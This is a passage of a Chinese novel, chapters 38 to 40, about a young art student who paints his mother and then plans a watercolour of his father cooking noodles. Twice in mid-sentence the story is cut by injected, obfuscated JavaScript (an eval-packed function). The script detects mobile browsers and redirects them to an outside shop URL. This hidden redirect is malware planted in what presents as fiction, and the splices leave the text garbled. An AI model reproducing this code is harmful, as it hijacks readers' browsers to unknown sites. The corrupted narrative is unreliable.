明天,他要早起,去画室画画。假期里他画了很多速写,但素描和色彩落下了,要赶紧补回来。周老师说过,寒假是拉开差距的时候,别人在玩,你在画,你就赢了。他不一定要赢别人,但他不能输给自己。 窗外,月亮很亮,照在窗帘上,把那些印在布上的碎花照得像真的一样。张小五看着那些碎花,心想,明天会是一个好天气。他喜欢好天气,好天气适合画画。阳光从北窗照进来,均匀而柔和,不会在画面上投下浓重的阴影。那种光是最好的光,他可以在那种光下面画一整天,不累,不烦,不厌倦。 38. 新年的画室 张小五到学校的时候,宿舍楼里安静得像一座空庙。走廊两侧的房间大多关着门,门缝里透不出光,只有走廊尽头的应急灯亮着,发出惨绿色的微光。他拖着行李箱从楼梯口走到309,脚步声在空荡荡的空间里回荡,像一个人在空旷的教堂里走路,每一步都踩在回声上,又被回声追上来。 他打开门,屋里黑漆漆的,窗帘拉着,空气里有一股长时间不通风的闷味。他把行李箱靠在墙边,伸手摸到墙壁上的开关,“啪”的一声,日光灯闪了两下才亮起来,惨白的光线照得整个房间像一间手术室。三张床空着,被褥都卷起来了,露出光秃秃的床板。只有他自己的床还保持着走时的样子,被子叠得整整齐齐,枕头底下露出画本的一角。 他站在房间中间,忽然觉得有点不适应。在家待了半个多月,他已经习惯了父亲在厨房里忙碌的声音、母亲絮絮叨叨的叮嘱、那只橘猫蹲在楼道口等他的身影。现在一下子回到这个安静得近乎空旷的房间里,心里像是被挖掉了一块,空落落的,风一吹就呼呼地响。 他开始收拾。先把行李箱打开,衣服一件一件地拿出来,叠好,放进柜子里。母亲织的灰色围巾叠好放在枕头旁边,周扬送的黑色围巾挂在床头。父亲给的平安符压在枕头底下,和母亲给的那个并排放着,两个小小的红布包,像两颗并排跳动的心脏。画具摆在桌上——铅笔、橡皮、削笔刀、颜料、画笔、画本,一样一样地归位,整整齐齐的,像一个士兵在整理自己的武器。 收拾完之后,他坐在床上,拿出手机,给父亲发了一条消息:“爸,到了。收拾好了。” 父亲回了一个字:“好。” 他又给母亲发了一条:“妈,到了。宿舍没人,就我一个。你别担心。” 母亲回了一个笑脸,后面跟着一朵玫瑰花。张小五看着那个表情,嘴角弯了一下。他站起来,背上画筒,走出了宿舍。 画室在教学楼的三楼,走廊里很暗,只有画室的门缝里透出一线光。他愣了一下——有人?这个时间,谁会在画室?他放轻了脚步,走过去,推开门。门没有锁,轻轻一推就开了。 画室里灯光大亮,一个人站在画架前,背对着门口,正在画画。那个人穿着一件灰色的棉袄,头发花白,背微微弯着,手里拿着一支画笔,在画布上慢慢地涂抹。是周老师。 “周老师?”张小五的声音在空荡荡的画室里显得很响。 周老师回过头,看见是他,脸上没有什么表情,只是“嗯”了一声,又转回去继续画。“来了?” “来了。周老师,你怎么这么早就来了?” “闲着也是闲着。”周老师往后退了一步,眯着眼睛看自己的画,然后又走上前,在画布上添了一笔。那是一幅油画,画的是西湖的雪景。断桥、湖面、远处的山,都被白雪覆盖着,天空是灰蓝色的,湖水的颜色很深,几乎是黑色的,但仔细看,能看见里面藏着很多颜色——深蓝、墨绿、紫灰、赭石。整幅画看起来安静极了,像一个正在沉睡的人。 张小五站在周老师身后,看着那幅画,一句话也说不出来。他在杭州待了半年,见过西湖的春天、夏天、秋天,唯独没有见过西湖的冬天。他不知道冬天的西湖是这样的——安静、沉默、内敛,像一个把所有的故事都藏进心里的人。 “周老师,这是你画的?” “嗯。初三那天去画的,人少,安静。”周老师把画笔放在调色盘上,转过身看着他,“你怎么这么早回来?” “想早点回来画画。在家画不了,没有画室,也没有模特。” 周老师看着他,眼神里有一种说不清的东西。不是欣慰,不是满意,是一种更深的、更复杂的东西,像是看到一个年轻的自己。“画吧。”他说,指了指旁边的画架,“正好我也在,有问题可以问我。” 张小五支好画架,夹上一张画纸,拿出炭笔。他想了想,决定画周老师。不是正面,是背影。周老师站在画架前,背微微弯着,手里拿着画笔,正在画那幅西湖的雪景。他的背影很瘦,肩膀很窄,但腰挺得很直,像一棵被风吹弯了又站直的树。他的头发花白,在灯光下泛着银色的光,那些银丝一根一根的,像冬天的枯草。 张小五画得很慢。他试着去捕捉周老师的那种状态——那种忘我的、全身心投入的、除了画面之外什么都不知道的状态。那种状态他见过,在父亲的身上,在沈老师的身上,在他自己的身上。那是一种很珍贵的状态,不是随时都能进入的,需要长时间的专注和沉浸,像潜水,要憋足了气才能潜下去。 他画了一个多小时,画完之后,他退后几步看着自己的画。画上的周老师像一个苦行僧,站在画架前,用画笔在画布上修行。他不知道周老师以前经历过什么,不知道他为什么一个人在大年初三跑到画室里画画,不知道他为什么头发花白了还在教一群毛头小孩画素描。但他知道,周老师心里有一团火,那团火烧了很多年,没有灭,也不会灭。 “画完了?”周老师转过身,走过来看他的画。他看了很久,然后说了一句话:“把我画得太瘦了。” 张小五愣了一下,然后笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得周老师不是他的老师,是他的朋友。 接下来的几天,张小五每天都泡在画室里。早上八点去,晚上十点回,中间除了吃饭,几乎不离开画室。他画素描,画速写,画色彩。他把上学期学过的东西全部复习了一遍,把那些不够熟练的地方反复练习。他画石膏像,画静物,画人体模型,画窗外的风景。他的铅笔用得很快,一支6B用了三天就短得握不住了;他的颜料也用得快,白色用得最多,调色盘上的白色总是最先见底。 陆一鸣是第二个回来的。正月十六下午,他拖着两个大行李箱气喘吁吁地推开宿舍门,看见张小五正坐在床上看书,大叫一声:“张小五!你可想死我了!”然后扑过来给了他一个熊抱。张小五被他抱得喘不过气,使劲拍他的背:“放开……放开……我要死了……” 陆一鸣松开他,从行李箱里掏出一大堆吃的,堆在桌上。“我妈做的,徐州特产,蜜三刀、羊角蜜、花生糖、芝麻酥。你尝尝,可好吃了。”张小五拿起一块蜜三刀,咬了一口,甜得眯起了眼睛。“好吃吧?”陆一鸣看着他,脸上带着一种“我就知道”的得意。“好吃。”张小五说,又拿了一块。 林子涵是晚上到的。他背着一个大书包,手里提着一个画箱,风尘仆仆的,像走了很远的路。他从厦门坐了好几个小时的动车,中间还转了一次车,到学校的时候已经快九点了。他放下东西,从书包里拿出一盒茶叶,递给张小五。“铁观音,我爸让我带的,说是今年的新茶。” 张小五接过茶叶,打开盖子闻了闻,一股清香扑鼻而来。“谢谢。” 欧阳逸飞是最后一个到的。正月十七上午,他拖着一个巨大的行李箱,背着一个双肩包,头上戴着一顶棒球帽,耳朵里塞着耳机,走路带风,像一个明星出场。他一进门就把行李箱放倒,拉开拉链,从里面拿出一袋一袋的东西,像变魔术一样。“上海特产,蝴蝶酥、大白兔奶糖、五香豆、梨膏糖。别抢,人人有份。” 张小五看着桌上堆满的吃的,忽然觉得宿舍像个杂货铺。北方的、南方的、甜的、咸的、软的、硬的,各种各样的零食堆在一起,像一座五彩斑斓的小山。这些东西不只是吃的,是他们的父母从千里之外寄过来的心意,是他们从各自的城市背过来的礼物,是他们在这个陌生的城市里相互取暖的方式。 正月十七晚上,全班开了第一次班会。赵老师站在讲台上,穿着那件深蓝色的连衣裙,头发扎起来了,看起来很精神。她讲了下学期的安排——课程设置、考试时间、外出写生、各种比赛。她讲了很久,从开学讲到期末,从课内讲到课外,从学习讲到生活。张小五认真地听着,把重要的地方记在笔记本上。 “最后,我要特别表扬一位同学。”赵老师的目光扫过全班,落在了张小五身上,“张小五同学,他的作品《手》入选了全国中学生美术作品展,并获得铜奖。这是我校近五年来在这个比赛上取得的最好成绩。让我们用掌声祝贺他。” 掌声响起来,比摸底考试那次更热烈,更真诚。张小五坐在椅子上,低着头,耳朵红得像煮熟的虾。他的心跳得很快,快到他能听见自己的血液在耳朵里嗡嗡地响。他想说“谢谢”,但这两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444034|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字卡在喉咙里,怎么都说不出来。他最后只是抬起头,朝同学们点了点头,嘴角弯了一下。 班会结束后,赵老师叫住了他。 “张小五,你等一下。” 张小五走到讲台前,赵老师从文件夹里拿出一张纸,递给他。“这是学校给你的奖学金申请表,你拿回去填一下,附上你的获奖证书复印件,交到我办公室。” 张小五接过那张纸,看了看。奖学金,金额不高,两千块,但对他来说是一笔不小的数目。够他交好几个月的材料费,够他买好几盒颜料,够他给父亲买几件像样的衣服。 “赵老师,谢谢你。” “不用谢我,这是你应得的。”赵老师看着他,眼神里有一种母亲般的温柔,“张小五,你很有天赋,也很努力。但你要记住,天赋和努力只是基础,真正决定你能走多远的,是你的心。心有多大,画就有多大。” 张小五把这句话记在了心里。他把奖学金申请表折好,放进口袋里,和那些纸条放在一起。他的口袋已经很鼓了,各种纸条、证书、成绩单,像一座小小的档案馆,记录着他这半年来的每一步。现在又多了一张,一张通往未来的纸条。 开学第一周,沈老师在色彩课上宣布了一个消息。 “这个学期,我们要参加‘浙江省中学生水彩画展’。这是省级比赛,含金量很高,获奖作品会在省美术馆展出。每个人至少交一幅作品,主题不限,形式不限,尺寸不限。五月底交稿,现在开始准备。” 教室里响起一片窃窃私语。省级比赛,省美术馆展出,这对他们来说是一个很大的机会。张小五的心跳了一下。他想起上学期的全国比赛,那幅《手》,那些骨节、老茧、疤痕、指甲、指纹。那幅画用了炭笔,黑白灰,没有颜色。这一次是水彩画展,他要用颜色了。他想起沈老师说过的——“颜色是光的语言。”他要学会用这种语言,去说他想说的话。 他开始构思。主题不限,形式不限,尺寸不限。听起来很自由,但自由有时比限制更让人不知所措。他想了很久,画了好几幅草图,都不满意。第一幅画的是西湖,太普通了。第二幅画的是画室,太平淡了。第三幅画的是父亲的手,但手他已经画过了,不想重复自己。他把那些草图一张一张地撕掉,扔进垃圾桶。陆一鸣看着垃圾桶里越来越多的纸团,忍不住说:“张小五,你是不是太焦虑了?还有好几个月呢,慢慢想。” 张小五知道他说得对,但他控制不住自己。他太想画好了,太想证明自己了。这种想法像一把火,在他心里烧得越来越旺,烧得他坐立不安,睡不着觉,吃不下饭。有时候他会半夜醒来,坐在床上,盯着窗外的月光发呆。月光照在窗帘上,把那些碎花照得像真的一样,但他什么也看不见。他的脑子里只有那幅画,那幅他还没想好怎么画的画。 有一天晚上,他躺在床上,翻来覆去地睡不着。他盯着天花板,看着窗外的月光在天花板上移动,从左边移到右边,从明亮变得暗淡。他忽然想起一件事——母亲寄来的那条围巾。灰色的,毛线的,针脚不太整齐,有的地方松有的地方紧,但很厚,很暖。他想起母亲坐在院子里晒红薯干的样子,阳光很好,竹匾上摆满了红薯片,母亲坐在小板凳上,手里拿着一把刀,正在切红薯。她的脸上带着笑,嘴角弯弯的,眼睛亮亮的。 他忽然知道自己要画什么了。不是西湖,不是画室,不是父亲的手。是母亲。是母亲坐在院子里晒红薯干的画面。那个画面太普通了,普通到不值一提,但那个画面里有光——有阳光,有母亲的笑,有红薯干的金黄色,有那个年代的、贫穷的但温暖的光。 他从床上坐起来,拿起画本,翻到新的一页,开始画草图。这一次他用的是铅笔,但他脑子里想的是颜色。阳光的颜色,母亲的笑的颜色,红薯干的颜色,竹匾的颜色,院子的颜色。他要用水彩去表现那些颜色,用水的流动去表现光的流动,用颜料的渗透去表现情感的渗透。 他画了整整一个晚上。画完之后,他看了看窗外的天空,天已经快亮了,东方有一抹淡淡的鱼肚白,像有人在天边划了一道浅浅的口子,光从那里漏了进来。他把画本合上,放在枕头底下,闭上眼睛。 39. 母亲的院子 那幅草图在画本里躺了三天。张小五每天都会翻到那一页,看一眼,然后合上。不是不满意,是不敢动。他怕自己画不好那个画面,怕水彩的颜色达不到他想要的效果,怕把母亲的笑画僵了,怕把阳光画死了。那种恐惧他太熟悉了——每次面对一张空白的画纸,它都会准时出现,像一个不请自来的客人,坐在他旁边,盯着他的手,看他每一笔落下。以前他学会了和它共处,不理它,画自己的,画着画着它就走了。但这一次不一样,这一次他太在意了,在意到那个客人变成了主人,坐在他的位置上,指手画脚。 第四天晚上,他一个人坐在画室里,把那幅草图摆在画架上,盯着看了很久。画室里只有他一个人,灯光很亮,照在草图上,那些铅笔线条在光线下微微反光。窗外漆黑一片,偶尔有风吹过,树枝刮在玻璃上,发出沙沙的声音。他深吸一口气,把草图取下来,夹上一张新的水彩纸。水彩纸是沈老师推荐的,进口的,很贵,十块钱一张。他买了两张,一张用来画正稿,一张备用。十块钱,够他吃一顿饭了。他把那张纸按在水彩板上,用胶带把四边贴好,绷紧。 然后他闭上了眼睛。 他在脑子里想象那幅画的每一个细节。构图——母亲坐在画面中央偏左的位置,侧脸,身体微微前倾,手里拿着一把刀,正在切红薯。竹匾在画面的右下方,占据了大约三分之一的位置,里面摆满了切好的红薯片,金黄色的,一片一片的,像一朵一朵的小太阳。背景是院子的墙,灰白色的,有些地方墙皮脱落了,露出里面的砖红色。墙头上长着几棵草,在风里倾斜着。天空是淡蓝色的,有几朵薄云,太阳在画面的左上角,被云遮住了一部分,光线从云的缝隙里漏出来,洒在母亲身上、竹匾上、院子里。 他用手指在空中画了一下那束光的方向——从左上方斜着下来,落在母亲的右侧脸上、右肩上、右手上。她的脸会被照亮一半,另一半在阴影里。那种光叫伦勃朗光,他在沈老师的小册子里看到过,是一种很经典的肖像用光,能让画面有一种戏剧性的、庄重的、像油画一样的效果。 他睁开眼,拿起一支HB铅笔,开始在水彩纸上起稿。他的手很稳,没有犹豫。那幅草图他已经画了太多遍了,每一个位置、每一条线、每一个比例都烂熟于心。他用了不到半个小时就把完整的线稿画完了——母亲、竹匾、红薯、院子、墙头、天空、太阳、云。线稿很轻,只有他自己能看清,水彩纸的表面没有被破坏,干干净净的,像一块等待播种的土地。 接下来是铺色。他先把整张纸打湿——用大号的水彩笔蘸了清水,在纸面上来回刷,刷得均匀而快速。水渗进纸里,纸面变得湿润而柔软,颜色在这样的纸上会扩散、会流动、会交融。他趁湿铺上了天空的颜色——钴蓝加一点群青,很淡很淡,像被水稀释过无数次,只在纸面上留下一层若有若无的蓝。云的地方他留了白,不加任何颜色,让纸本身的白色去表现云的轻盈和蓬松。太阳的地方他也留了白,但那个白比云的白更亮,亮得刺眼。 他开始画院子的墙。灰白色的,不是纯灰,是带一点暖调的灰——用熟褐加一点群青,再加大量的水。墙皮脱落的地方,他用小笔触点上一点赭石和一点土黄,让那些斑驳的地方看起来有质感、有重量、有时间的痕迹。墙头的草用橄榄绿加一点土黄,很淡,像几笔不经意的扫过,但每一笔都落在了该落的位置上。 纸干了一些,不再反光了。他开始画竹匾和红薯。竹匾是暖棕色的,用熟褐加赭石,趁半湿的时候用笔触表现出竹篾的纹理——一条一条的,有的长有的短,有的粗有的细,交错在一起,像一幅微型的抽象画。红薯是金黄色的,用柠檬黄加一点点镉橙,在受光的地方加一点白,在背光的地方加一点熟褐。他把每一片红薯都画得很仔细,不是那种死抠的仔细,而是一种有的放矢的仔细——该放松的地方放松,该收紧的地方收紧,让画面有一种呼吸感。 最后,他画母亲。 他的手停了下来。画室里很安静,安静得能听见自己的心跳声。他看着纸上那个还没有上色的母亲的轮廓,心里忽然涌起一股复杂的情绪。那是他的母亲,那个在服装厂里踩了八年缝纫机的女人,那个把老家的房子卖了给他父亲治病的女人,那个每个月从牙缝里省下一千块寄给他的女人。他要用颜色去表现她,用水的流动去表现她的温柔,用颜料的渗透去表现她的坚韧。 他拿起一支小号的水彩笔,蘸了清水,在母亲的脸部位置轻轻涂了一层水。水量控制得刚刚好,不多不少,让纸面湿润但不积水。然后他开始上色。皮肤的颜色不好调,太红了像发烧,太黄了像黄疸,太白了像死人。他试了很多次,最后找到了一个比例——镉红加柠檬黄加大量的水,再加一点点群青降低纯度。调出来的颜色是一种温暖的、透明的、有生命感的肉色。 他用这支颜色画了母亲的脸。在受光的地方,颜色偏暖偏亮,他加了更多的水和一点点柠檬黄;在背光的地方,颜色偏冷偏暗,他加了更多的群青和一点点熟褐。脸颊的地方,他点了一点点镉红,让那里有一丝血色,看起来是活的、有温度的。母亲的头发是黑色的,但黑色不是纯黑,是深棕色加群青,在光线下泛着一点点蓝。他用干笔触画出头发的纹理,一根一根的,有的粗有的细,有的深有的浅,像一幅用线条写成的诗。 母亲的手是最难画的。那是一双劳动了太多年的手,粗糙、干裂、骨节突出、指甲缝里有洗不掉的颜色。他用了很多层颜色去叠加——第一层是淡淡的肉色加一点土黄,第二层在关节处点上一点赭石,第三层在指甲缝里加上一点深棕色,第四层在虎口的位置轻轻扫过一点熟褐,表现那些常年握剪刀磨出来的茧。他画得很慢,每一层都要等干了才能画下一层,急不得。他在等待的时候没有闲着,画了竹匾里的红薯,画了墙头的草,画了天空的云。手画完之后,他退后几步,看了看。那是一双真实的手,一双他能认出是谁的手。 最后,他画那束光。 光不是画上去的,是留出来的。他在铺色的时候就预留了光的位置——母亲的右脸、右肩、右手,竹匾的右上部分,墙头的一部分,地上的一个不规则的形状。这些地方他用了最浅的颜色,有些地方甚至没有上色,让纸本身的白色去表现光的亮度。他在光的边缘轻轻扫过一层极淡的柠檬黄,让光有一种温暖的、柔和的、像清晨的阳光一样的感觉。 画完了。 他退后几步,看着整幅画。画上的母亲坐在院子里,侧脸,身体微微前倾,手里拿着一把刀,正在切红薯。阳光从左上角斜着照下来,照在她的脸上、肩上、手上,把她整个人笼罩在一片温暖的光里。竹匾里的红薯是金黄色的,一片一片的,像一朵一朵的小太阳。院子的墙是灰白色的,有些地方墙皮脱落了,露出里面的砖红色,墙头长着几棵草,在风里倾斜着。天空是淡蓝色的,有几朵薄云,太阳被云遮住了一部分,但光还是漏了下来。 他不知道这幅画好不好。他只知道,这是他画得最用心的一幅水彩。他把所有的东西都放进去了——对母亲的爱,对童年的记忆,对那个院子的怀念,对那些贫穷但温暖的日子的感激。那些东西看不见摸不着,但它们在画里,在每一笔颜色里,在每一处光影里,在那束从云缝里漏下来的阳光里。 他坐在画架前,盯着那幅画看了很久,看得眼睛发酸,看得眼泪差点掉下来。他没有哭,只是看着,像一个孩子看着母亲的脸,怎么看都看不够。 画干透了。他把画从画板上取下来,小心翼翼地放在桌上。然后他拿起手机,拍了一张照片,发给了母亲。他没有配文字,因为他不知道该说什么。“妈,我画了你”?太直白了。“妈,你看这幅画怎么样”?太客套了。“妈,我想你了”?太肉麻了。他最后什么也没写,只发了那张照片。 过了一会儿,母亲回了消息。不是文字,不是表情,是一段语音。他点开,听见母亲的声音,在哭,在笑,在颤抖。“小五,这是妈吗?这是妈吗?你怎么把妈画得这么好看?妈哪有这么好看……”语音断了,过了一会儿又来了一条。“妈想你了。”然后又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444035|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一条。“妈真的想你了。” 张小五握着手机,眼泪终于掉了下来。他没有擦,就让眼泪流着,流到下巴,滴在衣服上。他不是难过,是感动。感动于母亲那句“妈想你了”,感动于这半年来的所有付出终于有了回报,感动于那些深夜里的孤独和坚持终于变成了一幅画,一幅能让母亲哭着说“妈想你了”的画。 他把那幅画收好,放进画筒里。他打算把它寄给母亲,让她挂在宿舍的墙上,每天都能看见。他不想让这幅画去参加比赛,不想让它被评委打分,不想让它和别人的作品比较。这是他给母亲的礼物,只属于她一个人。 第二天,他把这个决定告诉了沈老师。 沈老师正在画室里改画,听到他说不想参赛,手里的画笔停了一下。她转过身看着他,眼神里没有失望,没有不满,只有一种平静的理解。 “为什么?”她问。 “这是我给我妈画的。”张小五说,“我不想拿它去比赛。” 沈老师看了他几秒钟,然后笑了。她笑得很好看,不是那种客套的、敷衍的笑,而是一种真正的、发自内心的、被什么打动了之后的笑。 “那你就再画一幅。”她说。 张小五愣了一下。“再画一幅?” “对,再画一幅。参赛的那幅。”沈老师说,“你已经有能力画出这样的作品了,说明你的水平到了。再画一幅,用同样的心,同样的感情,但画一个不同的主题。你能做到。” 张小五站在那里,脑子里转了很多圈。再画一幅,用同样的心,同样的感情,但画一个不同的主题。他不知道能不能做到,但他愿意试一试。 “沈老师,画什么?” 沈老师想了想,说:“画你父亲。” 张小五的心跳了一下。画父亲。他已经画过父亲的手了,那幅《手》得了全国铜奖。如果再画父亲,画什么?画他的脸?他的背影?他的工作?他的病?他的康复?他的笑?他的沉默?父亲有太多面了,他不知道该选哪一面。 “不要急,慢慢想。”沈老师说,“你还有时间。五月底才交稿,现在才三月初,你还有将近三个月。” 张小五点了点头,走出了画室。走廊里阳光很好,从窗户照进来,把整条走廊照得亮堂堂的。他走在阳光里,脑子里全是父亲的样子——父亲站在脚手架上,父亲躺在病床上,父亲坐在沙发上看电视,父亲在厨房里煮面,父亲在火车站举着纸板接他,父亲在阳台上晾衣服,父亲在雪地里放鞭炮。 每一个画面都像一张照片,在他的脑海里一张一张地翻过。他要在这些照片里选一张,把它变成水彩画,送去参加比赛。他不知道选哪一张,但他知道,不管选哪一张,他都会用心去画,用尽全力去画。因为那是他的父亲,那个把他养大的男人,那个在病床上说“小五,爸不怕死”的男人,那个在火车站举着纸板写“张小五”三个字的男人。 回到宿舍,张小五坐在床上,拿出画本,翻到新的一页。他想了想,写下了一个列表——父亲的各种样子。站着的样子,坐着的样子,躺着的样子,笑着的样子,沉默的样子,生气的样子,疲惫的样子,高兴的样子。他写了十几条,然后一条一条地看,一条一条地划掉。站着的太普通,坐着的太平淡,躺着的太消极,笑着的太少见,沉默的太沉重。 他划到最后,只剩下一条。 父亲在厨房里煮面的样子。 那个画面太普通了,普通到不值一提。但那个画面里有温度,有气味,有声音。有灶台上的火光,有锅里的热气,有案板上的葱花,有碗里的荷包蛋。有父亲弯着腰的背影,有他手里的锅铲,有他系着的围裙,有他花白的头发。那个画面不是父亲最光辉的时刻,不是他最坚强的时刻,不是他最伟大的时刻,但那是他最日常的时刻,最真实的时刻,最像他自己的时刻。 张小五在那一行字下面画了一条线,然后合上画本,放在枕头底下。 他决定了。 他要画父亲在厨房里煮面的样子。 40. 光 决定画父亲之后,张小五陷入了一个新的困境——他找不到合适的参考照片。翻遍了手机相册,里面存的大多是课堂作业、写生作品、西湖的风景照、室友的搞怪合影,父亲的照片只有寥寥几张,还是过年时随手拍的。有一张父亲坐在沙发上看电视,表情呆滞,光线昏暗,构图歪斜,像一张不合格的证件照。有一张父亲在阳台上晾衣服,背对着镜头,灰蒙蒙的天把整个人吞没了,看不出任何细节。还有一张是年夜饭的合影,父亲坐在桌边,手里端着酒杯,笑得很僵硬,像被人拿枪指着脑袋。 这些照片都不行。它们记录的是父亲的样子,不是父亲的气息。样子和气息是两回事。样子是外在的、表面的、可以被相机捕捉的;气息是内在的、深层的、只能被心感受到的东西。相机可以拍出父亲脸上的皱纹,但拍不出那些皱纹是怎么来的——是工地的风吹出来的,是病床上的夜熬出来的,是无数个等儿子回家的黄昏等出来的。 他需要一张新的照片。或者说,他需要一个可以长时间观察父亲的场景。他想了想,决定给父亲打一个电话。 “爸,你周末有空吗?” 电话那头沉默了一下。“有空。怎么了?” “我想画你。在厨房煮面的样子。你能不能给我拍几张照片?各个角度的,近一点远一点都要。” 又是一阵沉默,比刚才更长。张小五以为信号断了,正要喊“爸”,电话那头传来父亲的声音,有点沙哑,有点紧张。“拍……拍照片?爸不会拍啊。” “你用手机拍就行,多拍几张,发给我。” “手机……爸这个手机拍照不清楚,你又不是不知道。” 张小五愣了一下。父亲用的是老年机,屏幕小小的,摄像头像一粒芝麻,拍出来的照片像隔着一层毛玻璃看东西,什么都糊在一起。他想了想,说:“爸,你把手机给我妈,让她帮你拍。” “你妈?”张建国的声音忽然提高了半度,像被人踩了尾巴。 “对,你去找我妈,让她用她的手机拍。她那个手机拍照清楚。” 张建国在电话那头沉默了。张小五几乎能听见父亲脑子里两个小人在打架——一个说“去吧,为了儿子”,另一个说“不去,丢不起那人”。过了大概十秒钟,第一个小人打赢了。 “行吧。”张建国的声音闷闷的,像从瓮里传出来的,“爸去找你妈。” 张小五挂了电话,嘴角弯了一下。他想象着父亲站在母亲面前,支支吾吾地说“小五要画我,让我来找你拍照片”的样子。那画面一定很好笑——两个离了婚的人,隔了这么多年,因为儿子的画,又重新站在一起,一个拿着手机当摄影师,一个系着围裙当模特。生活有时候比小说还荒谬,也比小说还温暖。 第二天下午,母亲发来了一串照片。张小五点开一看,差点笑出声来。一共二十多张,角度五花八门——有的从高处往下拍,父亲缩成了一个矮墩墩的冬瓜;有的从低处往上拍,父亲的下巴像一座悬崖;有的从背后拍,父亲的背影像一个问号;有的从侧面拍,父亲的侧脸像一个被捏扁了的饺子。还有几张是糊的,父亲在画面里变成了一团移动的灰色,像一只正在融化的雪人。 但在这二十多张照片里,有三张是好的。不是技术上的好,是感觉上的好。 第一张,父亲站在灶台前,侧脸,手里拿着锅铲,正在翻锅里的鸡蛋。灶台上的火苗舔着锅底,油烟升腾起来,在他的脸前面形成一层薄薄的烟雾,让他的表情看起来朦胧而温柔。阳光从厨房的小窗户照进来,照在他的右肩上,把他的轮廓镀上了一层金色。 第二张,父亲弯着腰,正在案板上切葱花。他的背弯得很深,几乎和案板平行,像一个鞠躬的人。他的右手握着菜刀,左手按着葱白,手指弯曲,骨节突出,指甲缝里有洗不掉的水泥灰。案板旁边摆着一碗打好的鸡蛋,金黄色的,像一小碗液态的阳光。 第三张,父亲端着一碗面,正从厨房走向客厅。他的身体微微前倾,双手捧着碗,像捧着一件易碎的瓷器。碗里冒着热气,热气模糊了他的脸,但他的眼睛是看得见的——那双眼睛盯着碗里的面,好像在检查面有没有煮软、汤有没有放盐、荷包蛋有没有破。 张小五把这三张照片放大,缩小,再放大,反复看了很多遍。他在看细节——父亲花白的头发,每一根都看得清清楚楚,白的多黑的少,像冬天的枯草上落了一层霜。父亲脸上的皱纹,额头上三道,眼角边无数道,嘴角旁两道深深的沟壑,像干裂的土地。父亲的手,骨节突出,指甲短得不能再短,虎口的疤痕像一条蜈蚣,掌心的老茧像一座座小山。父亲的围裙,洗得发白,上面有油渍、酱油渍、面粉印,还有一个小洞,像是被烟头烫的。 这些细节,相机拍下来了,但不是为了记录而记录的。它们是被母亲拍下来的,是被一个曾经爱过这个男人的女人拍下来的。那些照片里有她残留的感情——不是爱情,不是亲情,是一种更复杂的东西,像是心疼,又像是愧疚,又像是某种说不清道不明的、时间沉淀下来的、既不甜也不苦的滋味。 他把三张照片存在手机里,又备份到了云盘。然后他给母亲发了一条消息:“妈,照片收到了。第三张最好。谢谢妈。” 过了一会儿,母亲回了一条:“你爸不让我发第三张,说他端碗的样子像个老头。我偷偷发的。” 张小五看着那条消息,笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得父亲和母亲之间的距离没有一千多公里那么远。他们还在彼此的生活里,哪怕只是通过一个碗、一碗面、一张照片。他关掉手机,拿出画本,翻到新的一页,开始画草图。 周末,张小五去了趟文具店。他买了一张新的水彩纸,和上次一样,进口的,十块钱。又买了两支新的水彩笔,一支大号的铺色用,一支小号的刻画细节用。还买了一管新的白色颜料——他的白色快用完了,画那幅母亲的时候白色用得很凶,像不要钱一样。所有东西加起来花了将近五十块,他付钱的时候心疼了一下,但想到这是给父亲画画用的,就不疼了。 回到宿舍,他把水彩纸裁成自己想要的尺寸。不是标准的长方形,而是一个接近正方形的尺寸——他想要一种稳定的、庄重的、像老照片一样的构图。他用胶带把纸的四边贴在水彩板上,绷紧,放在桌上。然后他拿出手机,翻到母亲偷拍的那张照片——父亲端着一碗面,从厨房走向客厅。 他盯着那张照片看了很久。不是因为好看,是因为他想看懂。看懂父亲的身体语言——为什么他的身体微微前倾?是因为碗太重了,还是因为他习惯了弯腰?看懂父亲的表情——为什么他的眼睛盯着碗里的面?是因为他在检查面的卖相,还是因为他不敢看镜头?看懂那束光——为什么阳光刚好照在他的肩膀上?是因为那个时间那个角度光线就是那样的,还是因为母亲在拍照的时候特意选了这个角度? 他看了大概半个小时,然后拿起一支HB铅笔,开始在水彩纸上起稿。 这一次他画得更慢了。他先画了父亲的身体轮廓——微微前倾的姿势,双手捧碗的动作,弯曲的膝盖,塌陷的肩膀。他用很轻的线条,一笔一笔地勾出来,像在纸上雕刻一尊浮雕。然后他画了父亲的脸——侧脸,四分之三的角度,额头、鼻子、嘴唇、下巴,每一处的比例都反复核对,生怕画得不像。他画了父亲的眼睛——那双盯着碗里的面的眼睛,不大,不亮,甚至有点浑浊,但里面有东西。有什么东西?他说不清楚。也许是专注,也许是习惯,也许是某种他自己都意识不到的温柔。 然后他画了父亲的手。这是最难的部分。他画过父亲的手,在《手》那幅画里,他画了父亲的两只手,合在一起,掌心朝上,像在捧着什么东西。那两双手他画了整整一个星期,每一根线条都反复修改,每一个调子都反复叠加。这一次他要画的是父亲端碗的手,一只手托着碗底,一只手扶着碗边。那只托碗底的手,手指张开,掌心向上,像一朵盛开的花。那只扶碗边的手,手指弯曲,扣在碗沿上,像一个紧紧的拥抱。 